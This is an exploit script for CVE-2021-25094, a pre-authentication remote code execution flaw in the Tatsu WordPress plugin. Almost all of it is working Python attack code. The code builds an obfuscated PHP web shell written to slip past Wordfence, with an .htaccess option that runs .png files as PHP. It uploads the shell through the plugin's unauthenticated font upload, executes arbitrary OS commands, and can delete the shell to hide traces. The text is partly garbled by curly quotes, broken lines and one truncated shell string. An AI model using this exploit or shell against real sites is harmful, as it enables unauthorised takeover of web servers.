Tatsu 3.3.11 Remote Code Execution

• CVE-2021-25094

# Exploit Title:Tatsu <= 3.3.11 pre-auth RCE exploit
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: [email protected]
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# Product: Tatsu wordpress plugin <= 3.3.11
# CVE: CVE-2021-25094
# URL: https://tatsubuilder.com/

import sys
import requests
import argparse
import urllib3
import threading
import time
import base64
import queue
import io
import os
import zipfile
import string
import random
from datetime import datetime

urllib3.disable_warnings()

class HTTPCaller():

def __init__(self, url, headers, proxies, cmd):
self.url = url
self.headers = headers
self.proxies = proxies
self.cmd = cmd
self.encodedCmd = base64.b64encode(cmd.encode(“utf8”))
self.zipname = None
self.shellFilename = None

if self.url[-1] == ‘/’:
self.url = self.url[:-1]

if proxies:
self.proxies = {“http” : proxies, “https” : proxies}
else:
self.proxies = {}

def generateZip(self, compressionLevel, technique, customShell, keep):
buffer = io.BytesIO()
with zipfile.ZipFile(buffer, “w”, zipfile.ZIP_DEFLATED, False,
compressionLevel) as zipFile:

if technique == “custom” and customShell and os.path.isfile(customShell):
with open(customShell) as f:
shell = f.readlines()
shell = “\n”.join(shell)
self.shellFilename = os.path.basename(customShell)
if self.shellFilename[0] != “.”:
self.shellFilename = “.” + self.shellFilename

zipFile.writestr(self.shellFilename, shell)

elif technique == “php”:
# a lazy obfuscated shell, basic bypass Wordfence
# i would change base64 encoding for something better
shell = “ shell += “$f = \”lmeyst\”;”
shell += “@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];”
shell += “@$words = array(base64_decode($_POST[‘text’]));”
shell += “$j=\”array\”.\”_\”.\”filter\”;”
shell += “@$filtered_words = $j($words, $a);”
if not keep:
shell += “@unlink(__FILE__);”
self.shellFilename = “.” +
(”.join(random.choice(string.ascii_lowercase) for i in range(5))) + “.php”
zipFile.writestr(self.shellFilename, shell)

elif technique.startswith(“htaccess”):

# requires AllowOverride All in the apache config file
shell = “AddType application/x-httpd-php .png\n”
zipFile.writestr(“.htaccess”, shell)

shell = “ shell += “$f = \”lmeyst\”;”
shell += “@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];”
shell += “@$words = array(base64_decode($_POST[‘text’]));”
shell += “$j=\”array\”.\”_\”.\”filter\”;”
shell += “@$filtered_words = $j($words, $a);”
if not keep:
shell += “@unlink(‘.’+’h’+’t’+’a’+’cc’+’e’+’ss’);”
shell += “@unlink(__FILE__);”
self.shellFilename = “.” +
(”.join(random.choice(string.ascii_lowercase) for i in range(5))) + “.png”
zipFile.writestr(self.shellFilename, shell)

else:
print(“Error: unknow shell technique %s” % technique)
sys.exit(1)

self.zipname = ”.join(random.choice(string.ascii_lowercase) for i in
range(3))

self.zipFile = buffer

def getShellUrl(self):
return “%s/wp-content/uploads/typehub/custom/%s/%s” % (self.url,
self.zipname, self.shellFilename)

def executeCmd(self):
return requests.post(url = self.getShellUrl(), data = {“text”:
self.encodedCmd}, headers = self.headers, proxies = self.proxies,
verify=False)

def upload(self):
url = “%s/wp-admin/admin-ajax.php” % self.url
files = {“file”: (“%s.zip” % self.zipname, self.zipFile.getvalue())}
return requests.post(url = url, data = {“action”: “add_custom_font”},
files = files, headers = self.headers, proxies = self.proxies, verify=False)

def main():
description = “|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress
plugin <= 3.3.8\n"
description += “|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)”

print(description)
print(“”)

parser = argparse.ArgumentParser()
parser.add_argument(“url”, help=”Wordpress vulnerable URL (example:
https://mywordpress.com/)”)
parser.add_argument(“cmd”, help=”OS command to execute”)
parser.add_argument(‘–technique’, help=”Shell technique: php | htaccess |
custom”, default=”php”)
parser.add_argument(‘–customShell’, help=”Provide a custom PHP shell file
that will take a base64 cmd as $_POST[‘text’] input”)
parser.add_argument(‘–keep’, help=”Do not auto-destruct the uploaded PHP
shell”, default=False, type=bool)
parser.add_argument(‘–proxy’, help=”Specify and use an HTTP proxy
(example: http://localhost:8080)”)
parser.add_argument(‘–compressionLevel’, help=”Compression level of the
zip file (0 to 9, default 9)”, default=9, type=int)

args = parser.parse_args()
# Use web browser-like header
headers = {
“X-Requested-With”: “XMLHttpRequest”,
“Origin”: args.url,
“Referer”: args.url,
“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/90.0.4430.212 Safari/537.36″,
“Accept”: “*/*”,
“Accept-Language”: “en-US,en;q=0.9”
}

caller = HTTPCaller(args.url, headers, args.proxy, args.cmd)
print(“[+] Generating a zip with shell technique ‘%s'” % args.technique)
caller.generateZip(args.compressionLevel, args.technique,
args.customShell, args.keep)

print(“[+] Uploading zip archive to
%s/wp-admin/admin-ajax.php?action=add_custom_font” % (args.url))
r = caller.upload()
if (r.status_code != 200 or not r.text.startswith(‘{“status”:”success”‘)):
print(“[!] Got an unexpected HTTP response: %d with content:\n%s” %
(r.status_code, r.text))
print(“[!] Exploit failed!”)
sys.exit(1)

print(“[+] Upload OK”)

print(“[+] Trigger shell at %s” % caller.getShellUrl())
r = caller.executeCmd()
if (r.status_code != 200):
print(“[!] Got an unexpected HTTP response: %d with content:\n%s” %
(r.status_code, r.text))
print(“[!] Exploit failed!”)
sys.exit(1)
print(“[+] Exploit success!”)
print(r.text)

if args.keep:
print(“[+] Call it with:”)
print(‘curl -X POST -d”text=$(echo “{0}” | base64 -w0)”
{1}’.format(args.cmd, caller.getShellUrl()))
else:
print(“[+] Shell file has been auto-deleted but parent directory will
remain on the webserver”)

print(“[+] Job done”)

if __name__ == ‘__main__’:
main()